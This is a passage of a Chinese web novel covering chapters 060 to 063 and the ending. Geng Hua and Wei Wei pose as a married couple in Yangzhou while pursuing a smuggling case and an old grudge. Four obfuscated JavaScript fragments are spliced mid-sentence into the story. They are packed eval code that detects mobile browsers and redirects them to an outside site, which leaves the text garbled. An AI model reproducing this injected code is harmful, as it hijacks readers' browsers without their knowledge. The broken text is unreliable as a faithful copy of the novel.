翌日魏嵘酒醒,却找不到阿沁。他慌乱去找魏巍,魏巍讶然:“昨夜明明和你一起先回的府,怎么就不见了?” 魏巍装不知情,魏嵘岂会怀疑亲哥,自然被他带偏了。 “你说她人生地不熟,还能去哪儿?”魏嵘急道。 “我通知了同僚,也和刺史长史打了招呼,定能找到她。”魏巍说,“她昨晚抱怨了扬州的饮食,或许吃不惯住不惯,私自回了洛阳未可知。我已经派玄海回家报信了,这样两地都调查一番,定能找到人。” 魏嵘心里没底:“我知道大哥做事周密,但人不会出扬州。对了,昨晚不是有个和前大嫂很像的女人,是不是她……” 魏巍插嘴说:“婳儿是我在扬州娶的续弦,根本不认识阿沁。” “不行,我得当面去查!”魏嵘拉着魏巍去找耿婳。 婳坊里,耿婳早在昨晚就和魏巍计划好了。她彻夜未眠,冷静后一心想查明之前的事,这和魏嵘夫妻都脱不了关系。 “你的小妾?我确实见过,昨夜她送你上马车后又回了酒楼,听说我开胭脂铺还特意去我家买东西,后来她喝多了,哭哭啼啼给我诉苦,说被你正妻欺负得紧,想回娘家看看,还留下一封书信。” 耿婳说完递给他信件。这是她清早拿水泼醒阿沁后逼着她写的,如今她被捆缚手脚堵嘴关押在后院库房里。 魏嵘一把抽过纸张,这确实是阿沁的笔迹。她本来不识字,还是他一笔一划亲手教的。 “她怕极了你正妻,又怕你为难,不敢给你说。昨夜她酒后吐真言,同我说了很多心里话。”耿婳怕他不信,又说,“她昨晚在我店里留宿一宿,卯时就出城回娘家了。这是她送我的信物。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068575|146077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 耿婳怕他不信,又取出了阿沁戴在头上的玉簪。 魏嵘立刻认出信物,打消了对耿婳的质疑。 他缓了缓道:“一定是你长得像她的故人,才愿意同你说真心话的。” 耿婳心里冷笑。魏嵘和魏巍一样不管家务事,连她和阿沁不对付是事都不知道。他肯定意味她们主仆一场一定亲如姐妹,或许魏巍也是这么觉得。 耿婳想到这儿,转而蔑视地看向魏巍。 他刚对上耿婳的眼睛,又露出无知且委屈的表情,这让耿婳很不爽。 总算稳住了魏嵘,接下来就等柳惜君自投罗网。 魏巍带魏嵘离开后,黄昏又独自来婳坊找她。 “婳儿,那人可还活着?”魏巍问。 耿婳讥笑:“怎么心疼了?” 魏巍说:“这是什么话,我只觉得她还不到死的时候。到时候柳惜君到了,可以找两人对证,还我清白。” “你放心,这事我比你清楚!”耿婳说,“在这之前你都有嫌疑,别以为我会轻易相信你!” “我知道,我知道。”他轻声说,“那在这之前,为了稳住魏嵘,我们就先……继续扮下去。” “扮什么?”耿婳说。 “扮演夫妻啊。”魏巍小心翼翼说,“昨晚不是当着他们的面说是夫妻吗,至少不能被一发现破绽啊。” 耿婳昨晚经历太多,倒是忘了这事。她拽魏巍到无人的角落,硬着头皮说:“那好吧。我可以去你府上住,但别想同榻!” 魏巍得逞地笑了,“我知道呀。我怎么敢随便碰你。” 好不容易有了点好印象,他能不好好表现吗? “你最好是。”耿婳气鼓鼓的,跟个河豚一样。 魏巍好说歹说,她才同意住进府上。为了掩饰,她的行囊都被运到了他屋里。 “你睡里间,我去次间榻上,绝不打扰你。”魏巍安顿好她,保证说。 耿婳点点头,又听到他说:“中秋王刺史照旧在府上开蟹宴,赏月吟诗。” “什么意思?” 魏巍答道:“到时候张别驾会将打造好的紫檀木屏风送予他,表忠心。” 耿婳警觉说:“你和张别驾怎么联系的?” 最近她忙着店里生意,没顾及王绅走私的事。 “我许他戴罪立功,讨好王绅取得信任,套出更多内幕。” 耿婳微微凝眉,颔首:“需要小心。” 与私人恩怨相比,这种徇私枉法的官吏更需要铲除。 61. 061 耿婳住在魏巍府上的事,她身边人都清楚,阮若和芊芊当然会自觉保密。魏巍也给府上人打了招呼,周围的官吏那边本来就清楚他们之间的关系,这次只猜疑旧情复燃,也没太意外,所以没人敢往外传。 魏嵘这几日也收到了阿沁的回信,说已经到了扬州附近镇上,那边是她家乡,要回想看望亲友,莫要挂念云云。 这是耿婳逼阿沁写的,只为先稳住魏嵘。她让审问阿沁的阮若去办此事,结果稍晚找上门的居然是紫殷。以他的机巧劲儿,不可能不清楚她周围发生的事儿。紫殷的事,暂且不表。 耿婳只当来这里养尊处优,一点也不拘泥。 “你上回送的眼药还挺有用的,有心了。”她吹了吹汤匙,将鱼汤送入口中。 细腻温香的口感入腹,在微凉的秋日很是舒服。 魏巍坐在饭桌另一角,欣慰看着她,眼光亮堂。其实什么都不说,光是这样同桌共食他就知足了。 不知道的人,乍一看一定还觉得他们就是寻常夫妻。想到这里,他欣喜之余又难免遗憾。三年前,他有太多陪伴她生活的机会。可惜太多事情都是失去后才知道珍惜。 魏巍心绪复杂,一时间什么也吃不下去。 耿婳说完话,见他许久不曾反应,只是在那里呆愣地看她,跟个小傻子一样。 “我的意思是,你可以多做一些眼药。”耿婳顿了顿,只好开门见山说,“魏司马,你有没有听见我的话?” 他光顾着端详她,竟然失神到这种地步。 “是,好,我马上去做。” 若不是他如此回应,耿婳甚至要手伸到魏巍眼前晃一晃才能确保他并没有失明。 耿婳对魏巍恭敬的顺应一点也不意外。这些天,她吃他的喝他的,确实不好意思。但一想原来他曾害自己遭受那么大劫难,使唤使唤他也是应该的。 魏巍忍不住问:“明日中秋,夜里刺史府会有宴请,允许带家眷,你去不去?” 怪不得他从刚刚就欲言又止,神情不自然,原来是在思考什么时候说出邀请的话。 耿婳答非所问:“你是想让别人知道我们的事?让人家再误会一次?” 魏巍摇头:“当然不是。婳儿何必把我想那么龌龊。我是想,如果你能去可以吃上蟹粉狮子头。再有,纸包不住火,你每日照常出府去店里经营,难免被街上人看见,那些士大夫能不知道你住我这儿?” 他说话温和有礼,滴水不漏,耿婳一时真挑不出错来。她本来就贪吃,魏巍肯定看出来了。这才拿蟹宴勾引她。 “去也行,正好找王夫人解解闷。”耿婳强行找了个借口,“也许还能在刺史府查出更多线索。” 魏巍薄唇上扬,勾起一抹浅浅的笑。耿婳嘟嘟嘴,美眸斜睨他一眼,算作警告。 “你还想吃什么,喝什么,尽管告诉我,我熬完药亲自去买。”魏巍说。正好玄海不在,没人打扰他们。 难得的二人世界,他能和耿婳过几日清闲的秋日时光。 耿婳擦擦嘴,百无聊赖说:“我吃饱了,想去后花园溜溜。” 魏巍突然后悔住在这座相对简朴的府邸,后花园窄小荒凉,没什么好逛的。可耿婳已经起身,他不好驳了她的兴致,只好快步跟上。 “来,我带路。”魏巍跟着她,话掷地有声,心里却没底。 到了后花园,魏巍才松了口气。他忙于公务,除了选府邸时匆匆看过后花园后,再也没来过此地。 府上的仆役倒是勤快,在他顾不上的时候,将这里收拾打理得干净清雅。 秋日微风飒飒,吹得人格外清爽。太阳照在天上,微暖却不炎热,这正是踏青的好时节。 耿婳对花园也没报什么兴趣,无非随处逛逛。魏巍见她没有失望,这才松下心来。 耿婳顺着石子小路往里走,走到一片树林下,看到一个有些古旧的秋千。 “不知道结不结实。” “你想荡秋千?”魏巍上前检查秋千,虽然麻绳和底座都有灰尘,但并不妨碍使用。 他拿出布帕擦了擦绳索,“可以试试。” 耿婳踏上秋千,木板忽而“咯吱”一声。她心里一惊,身子稍稍一抖,即刻碰到了魏巍温暖的手心。 魏巍就她身旁候着,一只手悄然在她后背虚扶着,好像早就预料到会有这种情况。 “小心。”魏巍说,“我检查过麻绳,应该没问题。” “嗯。”耿婳点头,余光仍看到魏巍在盯着她看。 她小时候荡秋千的机会很少,大多时候都和母亲一起关在偏房里不准出门。就算偶尔被杜氏带出门参加宴席,也只有艳羡地看着别的孩子玩秋千的份儿。 实际上,这还是她第一次站在秋千上。 紧张了?魏巍忽而想问,却止住了。她那么要强的人,一定介意被人戳穿心思。 “魏巍,秋千怎么不动?”耿婳抬头平视前方,不去看他。 魏巍愣怔一瞬,即可明白:“我知道了。” 他绕到耿婳身后,轻轻推了推她的后背。温热的感觉传递到她的后背,耿婳攥紧麻绳,慢慢适应了微微荡漾的秋千。 “试着用力。”魏巍说着,加大了手上的力道。 耿婳双脚蹬着用力,手也抓得很紧,顺应着背后的力气,她借力将秋千荡得越来越高。 “舒服吗?”耳畔传来魏巍温柔的询问。 秋风吹撒在脸颊旁,舒适宜人。丝绸做的衣裙顺滑地随风吹散,她高高地跃起,像起舞的仙子。 魏巍在后面推她,看不见耿婳的表情。她神态从未如此柔和惬意,暂时脱离大地、放飞自我的感觉让人流连。 日光西斜,浓云蔽日,天色有些黯淡,秋风更加冷飒。 “婳儿,有些冷了,当心身体,该回去了。” “你怎么偏要扫我的兴?” “我没有。”魏巍答道,“明天后天午后我都陪你玩,不急一时。” 她摇摇头,不想理会他。她还没有玩够,况且就算魏巍不助力,她也掌握了技巧。 魏巍催了又催,好言相劝。她才讨饶说:“我就再荡最后一次。” 耿婳像个顽皮的孩子,一玩秋千就不知疲倦。魏巍虽然无奈,但也知道是怎么回事儿。 “当心,慢慢下来。”他护在旁边,直到秋千 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093702|146077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彻底不动,才许耿婳跳下来。 回去的路上,稍微有些黯淡,魏巍后悔走在前面开路,怕她磕碰,心里懊悔怎么没带灯笼来。 他一路沉默,耿婳反而有点不自然。她玩了一下午身子早累了,魏巍在后面推她能舒服吗? “你怎么不说话?生气了?”耿婳在他后面,望着他的背影,不知他是什么表情。 耿婳觉得他生闷气的样子很好笑,不禁道:“想说什么就说啊,何必憋在心里。” 魏巍脚步微顿,只当没听见,继续往前走。 “你怎么不批评我?”耿婳奇道。 她不是不清楚魏巍方才的关切,也能听出他催促劝阻的声音里夹带着焦急。就算没生气,也多少有些不耐烦吧。 耿婳催着他问了几句。 魏巍只好解释:“我没有生气,我理解你。从小被关在房间不许出门,受人冷眼,长大又约束着不让做想做的事,换做是谁都不能轻易释怀。如果不做点童年的补偿行为,哪里能轻易泄愤。” 他不疾不徐,字字珠玑,每句话都恰好撞上她的心弦。 “其实我小时候也这样,我很想出去蹴鞠,逛夜市,可回回都要点灯苦读,不能像同龄孩童一样快活过日。所以刚刚若不是太冷,我不会扰你兴致。” 耿婳微微愣怔在原地,难以置信他竟然如此了解自己。 听到身后没了脚步声,他转身,借着黄昏的光线看她。耿婳惊讶的表情早就掩盖好了,她若无其事地与他对视,好像什么都没有发生。 魏巍意识到什么,忽而开口:“抱歉,我不该随便揣测你的心思。” 耿婳眨眨眼睛,说:“我比你强,至少我现在能放纵,不像你还喜欢点灯熬油地读书办公。” 她说完,瞄了他一眼,微不可查地笑了一下,迅速跑开了。 魏巍呆看了一瞬,立刻追上去。 “你刚出过汗,别跑太快!” 两人追逐着回了后院屋子,刚走到廊檐下,就迎面撞见个黑衣人。 魏巍一惊,耿婳愣了一下认出那人,“紫殷?!” 紫殷没有蒙面,他从阴暗里走出来,目光灼灼望着耿婳。 “掌柜的,你要在这儿住到什么时候?”他哑着嗓子问,一边问一边看魏巍。 刀一个人的眼神是藏不住的。 “你先进去。”耿婳说。魏巍挑衅地摆他一眼,趾高气扬地进门了。 “来,坐。”耿婳要带他坐在廊檐下的美人靠上。 “小心凉。”紫殷先坐了一会儿,等把位置捂热些才让位置给耿婳。 “你这孩子还是这么体贴。”耿婳笑道。 紫殷嚷嚷:“我不是孩子了!” 耿婳忍不住笑出声:“好好好,你不是孩子,你不是。” “说吧,找我什么事。”她又问。 紫殷有点生气,“没事就不能找你吗?你这几天撇下我们住在别的男人府上,我还不能担心你吗!” 耿婳说:“能是能,如果作为晚辈关怀长者那自然好。如果是别的私心,我不会接受。” 她把话说得很直白了,希望他能明白。 62. 062 紫殷听到这话,眼神黯淡下来。他是还没成年,但并非听不懂人话。 但凭什么他对她好,她还要说这种话刺激他?偏偏对曾经伤害过她的男人好声好气,还住在一起回家! “我就是气不过。”他突然说。 耿婳抱胸问:“气不过什么。” “你为什么突然和他好上了?” 耿婳惊讶,忽而生气地问:“谁说我和他好上了?你听谁瞎说的?” “没人说。”他顿了顿,心虚地撇开眼。 “紫殷,你有事瞒我。”耿婳审问说。 紫殷绞着手指,过了一会儿才嗫嚅说:“之前有回晚上,你顺着梯子下楼和他幽会。” 果然,她那晚动静还是大了,被他偷听了去。 “我确实顺着梯子下楼,但那不是幽会。”耿婳纠正道。 “那这次算不算,你都住人家家里了。”紫殷打量着她微微蓬乱的发髻,表情难看极了。 耿婳只好压低声音说:“那晚我从晓市遇见的魏巍,碰到了一些事,那天晚上顺着梯子出去就是处理晓市的事。” 紫殷警觉说:“晓市的事?什么事?!” “没什么。”耿婳说,“这是我们的私事。这次我住他府上,也是为了处理三年前的恩怨和误会。我和他是分房睡觉,不许误会。” 她用最简洁的话说清楚了其中的奥秘。关于走私檀木的事,她不敢过多泄露。那夜和魏巍去湖畔书店遇上了持刀伤人的黑衣客,涉及到生命危险,她绝对不能让身边人卷进来。 耿婳目光坚定,一直看向紫殷,她想用这种方式传递给他力量。 “是……吗?”他还不确定。 耿婳笑眯眯和蔼地说:“我说的话你都不信了?” 他嘀咕:“我信。” “那就好,最近我暂时住在这里,等把原来的恩怨解决,我就回去。”耿婳说。 紫殷急切问:“那你什么时候回去?” “处理清了回去呀吗,你干嘛这种眼神。” “我看那个姓魏的不安好心。”紫殷气呼呼的。耿婳又安慰了他好一会儿,才让他飞檐走壁离开了。 耿婳还没来得及起身,魏巍抱着披风从里屋出来了。 “你怎么也这个表情?”耿婳想笑。 “没什么。”魏巍帮她围上披风,说:“被人登门说坏话,难免有点情绪。” 耿婳笑道:“快别生气了,我又想喝鱼汤了。” “我去做。”魏巍正好趁玄海离开,疯狂表现自己。即使家里仆役可以下厨,他也愿意亲自做东西给耿婳吃。 “你可千万别放辣子。”耿婳急忙说。 “你担心就与我同去。” 昏暗的小厨房被魏巍的火折子点亮,耿婳适时举过蜡烛,温暖明亮的烛火脸庞跳动。 “小心。”魏巍细致地将她细长碎发绕到耳后。 窄□□仄的厨房里泛起柔和的烛光,两人一高一低在灶台前忙活。魏巍舀水时袖子自觉垂下。 耿婳放下蜡烛,帮他挽起袖子。四四方方的黄窗纸上透着两人暧昧的身影。 “还没烧柴呢,你冷油下锅啊。”耿婳说,“一看就没做过饭。” “君子不入庖厨。”魏巍惭愧说,“小时候不许来这地方,今天才有机会。” 耿婳撇撇嘴:“还好意思说。” 魏巍低头轻笑:“下一步怎么办?” 耿婳说:“舀水到锅,然后烧火。” 她说完就蹲下拿蜡烛引火,片刻后没了水花声。烛火晃荡间,魏巍蹲下说:“你小心烫到,我来。” 魏巍大概点了两刻钟才将火苗稳住。耿婳虽然没点过火,却忍不住笑话他。 “笨蛋。” “第一次嘛。” 两人正在灶台边忙碌,再抬头窗外沙沙声传来,不知何时下起了秋雨。微微支起的窗户缝隙飒飒灌风,微弱的烛火瑟瑟发抖。 耿婳急忙关上窗子,又关好厨房门,烛火旺盛起来,发出温暖的橘红火焰,灶台的火苗越烧越旺。 室内温暖祥和,时不时发出丁零当啷的声响。耿婳挽起袖子,与魏巍挨靠在一起,朦胧的火光将两人的长长的背影拉到墙面上。 “这样切鱼。”耿婳夺过菜刀,给他掩饰了一遍。 魏巍学着她的样子切鱼,手法生硬,不一会儿就听到了她的笑声。 “你这样,我什么时候才能吃上鱼肉。” 魏巍耳垂微红,过了好一会儿才说:“不急,正巧外面下着雨。” 还正如他所言,等雨差不多停了,鱼汤也做好了。 雨后的秋夜明显冷冽许多,刚开厨房门就被阴寒的水汽袭击。耿婳抖了抖身子。 “你等着,我去去就来。” 魏巍以袖挡脸,猫着腰往正堂去。耿婳看他这模样,忍俊不禁。 片刻他拿着油纸伞过来接她。 “小心门槛。”耿婳端着漆盘里的鱼汤,慢慢进了明间。 “好冷好冷。”她说完,抬头一看魏巍,他半边身子都淋湿了。 许是油纸伞太小,又偏向她的缘故。 耿婳端着鱼汤进了内室,“快进来。” 内室要比明间隐秘些,本就是魏巍的房间,他也没犹豫就跟进来。 刚刚在小厨房,耿婳站得有些腿酸脚疼,她想也没想就直接拿来一旁的小案放在架子床上,而后踢鞋上了床。 她实在太累,没有顾及魏巍还在一旁。 “你这是……” 耿婳不假思索说:“我想在床上吃,暖和舒服。” 她在婳坊经常这么干,魏巍之前从不会这般不拘小节,这回倒也没说什么。 他将烛台放到小案上,照亮了床榻,而后坐到耿婳的对面。 耿婳盘腿坐着,托腮等着。魏巍拿勺盛鱼汤,先给她递过去一碗。 “真不错。” 一口入腹,鲜美的鱼汤温暖了四肢百骸。她评价完,再也没说过话,一小口一小口喝着鱼汤,吃得十分专注。 “还有呢,都是你的。”魏巍笑。 耿婳喝完最后一口,问他:“你不吃?” 魏巍吃喝了半碗,他口味重,即使是最爱吃的鱼肉,也必须放辣。 耿婳下床撑伞,一会儿又回来了。 “给你。”耿婳递给他一个小碗,里面是油泼辣子。 魏巍望着热乎乎刚出炉的辣油,无不感动,“你竟知道我爱吃辣。” 耿婳不是那种挟恩图报敲竹竿的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114783|146077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,她知道魏巍对她有所亏欠,但这些天衣食住行都在他府上,如果不做点什么难免不妥。 “我厨艺不精,辣子可能不太好吃。”耿婳给他做完思想准备,又说:“我记得有一次做了一大桌饭就为了哄你来我屋里,结果你一个没动,让玄海端了几样去书房。后来我问他,才知道你的口味。” “辛苦了。”魏巍眼底有光,将一小碗辣子尽数倒入鱼汤,随后大快朵颐。 烛光下,俊逸的五官格外柔和,白衣敛出文雅清和的气质。 穿着文雅,吃相粗犷。 耿婳忍俊不禁:“怎么跟没吃过饭一样。” 魏巍喝光鱼汤,意犹未尽“我还真是第一次吃你做的饭,好吃。” “明明我们一起做的。”耿婳垂头,忽而有点不好意思了。 骤然喝了辣鱼汤,魏巍喉咙点燥,耿婳很有眼力见儿地帮他又满上一碗。 “试试不辣的,润喉。” 魏巍心里暗喜,好不容易被她关切,怎么会驳了她的好意。他端碗仰面一股脑儿喝下去,顾不得平日的庄重。 “味道不错。”喉间的辣味被止住了,魏巍意外觉得平淡的口感也不错,不知是不是心理作用。只要是她推荐的,亲手盛满的,他都会觉得好。 鱼汤本就没煮太多,此刻喝净,两人都有点意犹未尽。外面是寒冷的雨夜,躲在里屋的帐内才舒服。 “有点渴。” “我去煨两坛酒。”魏巍知道她爱喝酒,光速去了,一会儿回来怀里捧着两坛桂花酒。 “你悠着点,晚上少喝些。” 耿婳笑着满上一碗,“我还能和你一样?” 魏巍梗着脖子说:“我有自知之明,酒量不好就是不好,也不会多喝害自己难受,你也要注意。尤其是在外面一个人喝酒什么的,当心被坏人欺负了。” 等他唠唠叨叨说完,耿婳已经饮尽杯中酒,“怎么能只有我一个人喝呢。” 她给他倒了满满一杯。 魏巍拿着酒杯刚要递到嘴巴,又嘱咐:“刚刚我说的话你可听进去了?” “真啰嗦。”耿婳拿小酒杯喝不爽,腿盘着也不舒服,干脆撤了小案,抱着温热的酒坛摊倒在床上。 她望着天,咕咚咕咚仰头牛饮,周围安安静静,她差点忘了魏巍的存在。借着烛火,她看见他倚在另一侧的床柱小口小口地喝酒,一点声音也没有。 “你一个大男人,这么秀气干什么。” 魏巍看了看双颊酡红的耿婳,酒意上涌,说不出的怅然。 她现在不是他的妻,自然不会听他的话,哪怕是良言相告,也一样是耳旁风。 庆幸的是,他眼下还能借着调查事情和她短暂相处,之后若被调回京城,他还能够见到她吗? 或许下次,就是别人坐床上陪她了。 “孩子的事,我很抱歉,让你受了委屈。”不知不觉,他平躺到耿婳身边。 闻到他浓厚的酒气和呼吸后,耿婳茫然扭头看他。 “不管结果如何,我都会和你调查到底,若魏府有人亏欠于你,我定替你讨回公道。” 烛火下,他的眼睛深沉而渴望。 下一秒,耿婳骤然被拉到温热的怀抱里,他的薄唇贴上她的樱口。 63. 063 意识到他想做什么时,耿婳狠狠一咬,血腥味瞬间蔓延开来。她居然将他的嘴唇咬破。 魏巍长吸一口气,忽而看到烛火下她明亮的目光。 即使喝了酒,她也依旧清醒,不可能像他一样情到深处,难以自己。 耿婳方才还觉得温馨美好,难得享受一个静谧的雨夜,这时才发现自己一直以来和他相处最厌恶的是什么。 她本能地推开他:“你知不知道每次都很疼。” 耿婳借机与他说了之前的事,其实她有些不好意思,但是不吐不快。 魏巍尴尬地挠头,“……原来如此,是我太心急了,没能与你和你好好磨合。” 见他一副认错反省的样子,耿婳也没再多说什么,只朝他泛红的脸颊笑。 中秋时节,张别驾趁机向王刺史进献了紫檀木制的屏风。这是他向刺史王绅试好的信号。这么大尺寸的屏风,如此好的木材,从何而来,可想而知。 宴后,王绅请他单独喝茶,把话撂下,而后通过王绅的关系介入紫檀走私,调查证据。 另外一边,魏嵘的正妻柳如烟和丫鬟青烟一同来到扬州,魏巍借机敲打,将她们带来见耿婳。 柳如烟一见耿婳就震惊惶恐,后来如实招认,是她设计害死了耿婳肚里的孩子,堕胎信也是她伪造的。 魏巍这才解开误会,他心里有愧,去找耿婳,求她再给自己一个机会,一定好好补偿。 耿婳当然要拿他泄愤,不可能轻易原谅他。 魏巍于是联系到了京城里的老手艺人,说要授徒,这才敢去找耿婳。 “我寻了京城制粉的老手艺人,他之前给宫里的娘娘妃子做粉,技术很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149747|146077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好,现在正招徒弟呢。我如今靠张别驾抓住了王绅走私的证据,想回京城去告发他和刘理王司空等人。所以想带你同去。” “况且,还有母亲那边,她多年来身体不好,对你也有愧疚,我给她写过信,她知道你活着,还朝我打听你呢。” 耿婳道:“她当然知道我活着,我当时假死就是和她一起策划的。” 她声音里透着不高兴,魏巍哄了她好久,说他不会趁人之危,愿意等她陪她,但是不想让她错过这么好的历练机会。 “那我说好,我是回去学习,不是要和你……”耿婳欲言又止,给了他一个警告的眼神。 魏巍笑着说:“好好好。” 他只想好好赎罪,于是感激耿婳给她的机会。 两人一起回了京城,开始全新的生活。 【完结】